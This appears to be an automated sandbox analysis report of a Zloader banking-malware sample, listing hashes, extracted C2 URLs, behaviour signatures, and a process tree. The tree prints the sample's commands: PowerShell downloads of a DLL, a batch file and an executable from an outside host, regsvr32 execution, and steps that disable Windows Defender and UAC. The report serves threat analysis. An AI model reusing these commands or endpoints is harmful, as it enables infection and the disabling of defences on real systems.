Analysis

  • max time kernel
    52s
  • max time network
    120s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    16-08-2021 11:42

Errors

Reason
Remote task has failed: Machine shutdown

General

  • Target

    8f87fe90d589a4fa73cff6a242fe222b.exe

  • Size

    165KB

  • MD5

    8f87fe90d589a4fa73cff6a242fe222b

  • SHA1

    381e33872d0f6f1a7233beeb6e9524435c2a9ab6

  • SHA256

    edaabcb2e82b51c9b8df54dc82afc494bff804b1b187c4657ab583e8ca0bd052

  • SHA512

    f0ce6885ac47429df5a1a0779c9a455300d77284ef71ff1e344afe2344513b430705ce50d62fceddb051cb5df8b67e1c4969b377413647f4cbe23fc87351aca0

Malware Config

Extracted

Family

zloader

Botnet

ivan

Campaign

ivan

C2

https://iqowijsdakm.com/gate.php

https://wiewjdmkfjn.com/gate.php

https://dksaoidiakjd.com/gate.php

https://iweuiqjdakjd.com/gate.php

https://yuidskadjna.com/gate.php

https://olksmadnbdj.com/gate.php

https://odsakmdfnbs.com/gate.php

https://odsakjmdnhsaj.com/gate.php

https://odjdnhsaj.com/gate.php

https://odoishsaj.com/gate.php

rc4.plain
rsa_pubkey.plain

Signatures

  • Zloader, Terdot, DELoader, ZeusSphinx

    Zloader is a malware strain that was initially discovered back in August 2015.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8f87fe90d589a4fa73cff6a242fe222b.exe
    "C:\Users\Admin\AppData\Local\Temp\8f87fe90d589a4fa73cff6a242fe222b.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3164
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c start.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2192
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Invoke-WebRequest https://pornotublovers.com/JavaP.dll -OutFile JavaP.dll
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1772
      • C:\Windows\system32\regsvr32.exe
        regsvr32 JavaP.dll
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1936
        • C:\Windows\SysWOW64\regsvr32.exe
          JavaP.dll
          4⤵
          • Loads dropped DLL
          PID:3892
          • C:\Windows\SysWOW64\msiexec.exe
            msiexec.exe
            5⤵
              PID:2876
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Invoke-WebRequest https://pornotublovers.com/nsudo.bat -OutFile nsudo.bat
          3⤵
            PID:2072
          • C:\Windows\system32\cmd.exe
            cmd /c nsudo.bat
            3⤵
              PID:2548
              • C:\Windows\system32\cacls.exe
                "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
                4⤵
                  PID:340
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Invoke-WebRequest https://pornotublovers.com/javase.exe -OutFile javase.exe
                  4⤵
                    PID:2768
                  • C:\Users\Admin\AppData\Roaming\javase.exe
                    javase -U:T reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
                    4⤵
                      PID:2128
                    • C:\Users\Admin\AppData\Roaming\javase.exe
                      javase -U:T sc config WinDefend start= disabled
                      4⤵
                        PID:3700
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell Invoke-WebRequest https://pornotublovers.com/autorun100.bat -OutFile autorun100.bat
                        4⤵
                          PID:3952
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
                          4⤵
                            PID:1052
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -command "Set-MpPreference -PUAProtection disable"
                            4⤵
                              PID:3588
                            • C:\Windows\system32\shutdown.exe
                              shutdown.exe /r /f /t 00
                              4⤵
                                PID:3252
                            • C:\Windows\system32\timeout.exe
                              timeout 16
                              3⤵
                              • Delays execution with timeout.exe
                              PID:3404
                        • C:\Windows\system32\LogonUI.exe
                          "LogonUI.exe" /flags:0x0 /state0:0xa3acd855 /state1:0x41c64e6d
                          1⤵
                            PID:3868

                          Network

                          MITRE ATT&CK Matrix ATT&CK v6

                          Persistence

                          Registry Run Keys / Startup Folder

                          1
                          T1060

                          Defense Evasion

                          Modify Registry

                          1
                          T1112

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                            MD5

                            56efdb5a0f10b5eece165de4f8c9d799

                            SHA1

                            fa5de7ca343b018c3bfeab692545eb544c244e16

                            SHA256

                            6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

                            SHA512

                            91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            MD5

                            c9a869799efa0f9da58092ac82fc5cf4

                            SHA1

                            8158751848f8806ce9d35433802109858e32ea35

                            SHA256

                            85c922b298880c6c8ff1e33d0655971d09ddf3d130338958673c7e3799554df6

                            SHA512

                            76e2089aad3ae2c9fe895ca6895405b6351984104e6e972d78c78f8e88892527adccf52b8855daf37ebbf486a6e8086937e9bf982f88fd540b95bbc7ec081449

                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            MD5

                            76a2faa51e5223c5fe52dea278682941

                            SHA1

                            1eef0fe778d6798a2871a8bb157e6ee6a53f7b56

                            SHA256

                            652d5d4b41cfdeaf0cdbf27b665f1c02177b6a36e326c3ed07b413e2b9127b4d

                            SHA512

                            f29f92c3f1c379f63958fc94991e06df264636e59d25525adb86f986f7e3a04110233e41974c7ceeb18c174a2869d37d8e0eec86b5def50f9ee62dd43a1611bb

                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            MD5

                            211b497e2692909e96e216b5e4934d76

                            SHA1

                            fcaef00fefbde139fe9682c778b8475bf996dc6d

                            SHA256

                            8cfd11db0c8c1d78a2265ea869f9f0048bbfddb071ee67b03bbed7c056d7eabf

                            SHA512

                            8eddc4359341293578d6b0eb2d3fd4f229657185f809794c750c46c74bc4d8f0406727d8b9070035b7bda94bb99d8e04bd34b6dbea46fb8534b3ccf53186940e

                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            MD5

                            6affe9382dfe0de4672fb122005c0880

                            SHA1

                            d06df962c20edc629a88c5b9f8ffbbf0b59f4c22

                            SHA256

                            2cef36bd8e08adeaee9783308a8cc49266ed0d9097eb031a07a655a55beee305

                            SHA512

                            6cace93667f22417e4cc5e5d935df1aef131a587823095e464c06d582f95241f828bed640e2935640afd4bef03c51859d7e1007f83a2183c6499ba2ec3260147

                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            MD5

                            8a0e43d8537b255b7fae4ddaca4b604c

                            SHA1

                            720c6951212c155b1c3d194dee2972fd15024358

                            SHA256

                            4cd7de3dad825292555ebf690964f5ca322ebb25dad79efc3282191f68c8f4f7

                            SHA512

                            bf440490b89b0aa2e22c15eb737b1a9d716e3ba1b008b2ecd3802f2149cb1a7ef6203c475ce7eedde71622a66118fdfd857310eb8810f9fa941ec0577bb666bb

                          • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\start.bat
                            MD5

                            676d31dd4a8405ead757e0b72d6bd381

                            SHA1

                            789a5fc1af78a0630ae705f6dd5506dd476d9d0f

                            SHA256

                            57d69a6ca957beb5c9eed7f39d0bb56e6d3348bd510fbba10ad0c19438a712b7

                            SHA512

                            79cc7bd42feb80d9a552f2fd6145795ab1904ca7c8d4175f70f9225b04eddcc7107ebf4391eac9d578ed7b963ce192df58050e73b8eaed30e3ef89405e18028c

                          • C:\Users\Admin\AppData\Roaming\JavaP.dll
                            MD5

                            23cb9715b98c53a8351d0cfb3d0a24eb

                            SHA1

                            4048470f92c65898b3e7186cc98108b74e4b2171

                            SHA256

                            bf74dac2db3967e1d661db1bfdbee8fe546bd19ecdcef0baf6b61fb3f78a89d7

                            SHA512

                            4b3753020e795b8ba96d292097633a837579aa3b5fa68f7b39f8d76ce3bf3cec6a43663526f9ae79283b4a9aa9034ab96605a554b035ff35f6e10a42bf3efdc1

                          • C:\Users\Admin\AppData\Roaming\javase.exe
                            MD5

                            5cae01aea8ed390ce9bec17b6c1237e4

                            SHA1

                            3a80a49efaac5d839400e4fb8f803243fb39a513

                            SHA256

                            19896a23d7b054625c2f6b1ee1551a0da68ad25cddbb24510a3b74578418e618

                            SHA512

                            c8e54c92133ba686238ea554c1cd82ba441db5fd4b0cbd5082d5eb4ddfcedd15506b9dac553459d0b2221c75778241f926ed3eef64571e4b1e0eb6f80ff9b481

                          • C:\Users\Admin\AppData\Roaming\javase.exe
                            MD5

                            5cae01aea8ed390ce9bec17b6c1237e4

                            SHA1

                            3a80a49efaac5d839400e4fb8f803243fb39a513

                            SHA256

                            19896a23d7b054625c2f6b1ee1551a0da68ad25cddbb24510a3b74578418e618

                            SHA512

                            c8e54c92133ba686238ea554c1cd82ba441db5fd4b0cbd5082d5eb4ddfcedd15506b9dac553459d0b2221c75778241f926ed3eef64571e4b1e0eb6f80ff9b481

                          • C:\Users\Admin\AppData\Roaming\nsudo.bat
                            MD5

                            6f10d512d4cbb527fd26ae266d0a4aef

                            SHA1

                            6e42d51ff2d42c5f999943b329a655e901ea4b32

                            SHA256

                            b37efaf69f5484fd2e4ec9c83553b9788e39a10fc4390065c29d59f770f34943

                            SHA512

                            4f66e8435b8439ace551ad8a70483926891ff3f55b27688602b2e0c58999054bd430308879374f4e8c990a91c3e9cc9cd78b6d355d4370051528bce536e1028e

                          • \Users\Admin\AppData\Roaming\JavaP.dll
                            MD5

                            23cb9715b98c53a8351d0cfb3d0a24eb

                            SHA1

                            4048470f92c65898b3e7186cc98108b74e4b2171

                            SHA256

                            bf74dac2db3967e1d661db1bfdbee8fe546bd19ecdcef0baf6b61fb3f78a89d7

                            SHA512

                            4b3753020e795b8ba96d292097633a837579aa3b5fa68f7b39f8d76ce3bf3cec6a43663526f9ae79283b4a9aa9034ab96605a554b035ff35f6e10a42bf3efdc1

                          • memory/340-171-0x0000000000000000-mapping.dmp
                          • memory/1052-247-0x000001E27E436000-0x000001E27E438000-memory.dmp
                            Filesize

                            8KB

                          • memory/1052-229-0x000001E27E433000-0x000001E27E435000-memory.dmp
                            Filesize

                            8KB

                          • memory/1052-228-0x000001E27E430000-0x000001E27E432000-memory.dmp
                            Filesize

                            8KB

                          • memory/1052-218-0x0000000000000000-mapping.dmp
                          • memory/1772-132-0x000001AA64246000-0x000001AA64248000-memory.dmp
                            Filesize

                            8KB

                          • memory/1772-125-0x000001AA7E3C0000-0x000001AA7E3C1000-memory.dmp
                            Filesize

                            4KB

                          • memory/1772-116-0x0000000000000000-mapping.dmp
                          • memory/1772-121-0x000001AA642B0000-0x000001AA642B1000-memory.dmp
                            Filesize

                            4KB

                          • memory/1772-130-0x000001AA64240000-0x000001AA64242000-memory.dmp
                            Filesize

                            8KB

                          • memory/1772-131-0x000001AA64243000-0x000001AA64245000-memory.dmp
                            Filesize

                            8KB

                          • memory/1936-137-0x0000000000000000-mapping.dmp
                          • memory/2072-168-0x000002BD2DB66000-0x000002BD2DB68000-memory.dmp
                            Filesize

                            8KB

                          • memory/2072-160-0x000002BD2DB60000-0x000002BD2DB62000-memory.dmp
                            Filesize

                            8KB

                          • memory/2072-161-0x000002BD2DB63000-0x000002BD2DB65000-memory.dmp
                            Filesize

                            8KB

                          • memory/2072-146-0x0000000000000000-mapping.dmp
                          • memory/2128-193-0x0000000000000000-mapping.dmp
                          • memory/2192-114-0x0000000000000000-mapping.dmp
                          • memory/2548-169-0x0000000000000000-mapping.dmp
                          • memory/2768-172-0x0000000000000000-mapping.dmp
                          • memory/2768-186-0x00000234AC4A0000-0x00000234AC4A2000-memory.dmp
                            Filesize

                            8KB

                          • memory/2768-188-0x00000234AC4A6000-0x00000234AC4A8000-memory.dmp
                            Filesize

                            8KB

                          • memory/2768-187-0x00000234AC4A3000-0x00000234AC4A5000-memory.dmp
                            Filesize

                            8KB

                          • memory/2876-143-0x0000000000000000-mapping.dmp
                          • memory/2876-159-0x0000000002C50000-0x0000000002C76000-memory.dmp
                            Filesize

                            152KB

                          • memory/3252-277-0x0000000000000000-mapping.dmp
                          • memory/3404-278-0x0000000000000000-mapping.dmp
                          • memory/3588-275-0x0000021927868000-0x0000021927869000-memory.dmp
                            Filesize

                            4KB

                          • memory/3588-250-0x0000021927866000-0x0000021927868000-memory.dmp
                            Filesize

                            8KB

                          • memory/3588-248-0x0000021927860000-0x0000021927862000-memory.dmp
                            Filesize

                            8KB

                          • memory/3588-235-0x0000000000000000-mapping.dmp
                          • memory/3588-249-0x0000021927863000-0x0000021927865000-memory.dmp
                            Filesize

                            8KB

                          • memory/3700-195-0x0000000000000000-mapping.dmp
                          • memory/3892-139-0x0000000000000000-mapping.dmp
                          • memory/3892-141-0x0000000000660000-0x00000000007AA000-memory.dmp
                            Filesize

                            1.3MB

                          • memory/3892-142-0x0000000010000000-0x000000001017A000-memory.dmp
                            Filesize

                            1.5MB

                          • memory/3952-213-0x0000021B01986000-0x0000021B01988000-memory.dmp
                            Filesize

                            8KB

                          • memory/3952-212-0x0000021B01983000-0x0000021B01985000-memory.dmp
                            Filesize

                            8KB

                          • memory/3952-211-0x0000021B01980000-0x0000021B01982000-memory.dmp
                            Filesize

                            8KB

                          • memory/3952-197-0x0000000000000000-mapping.dmp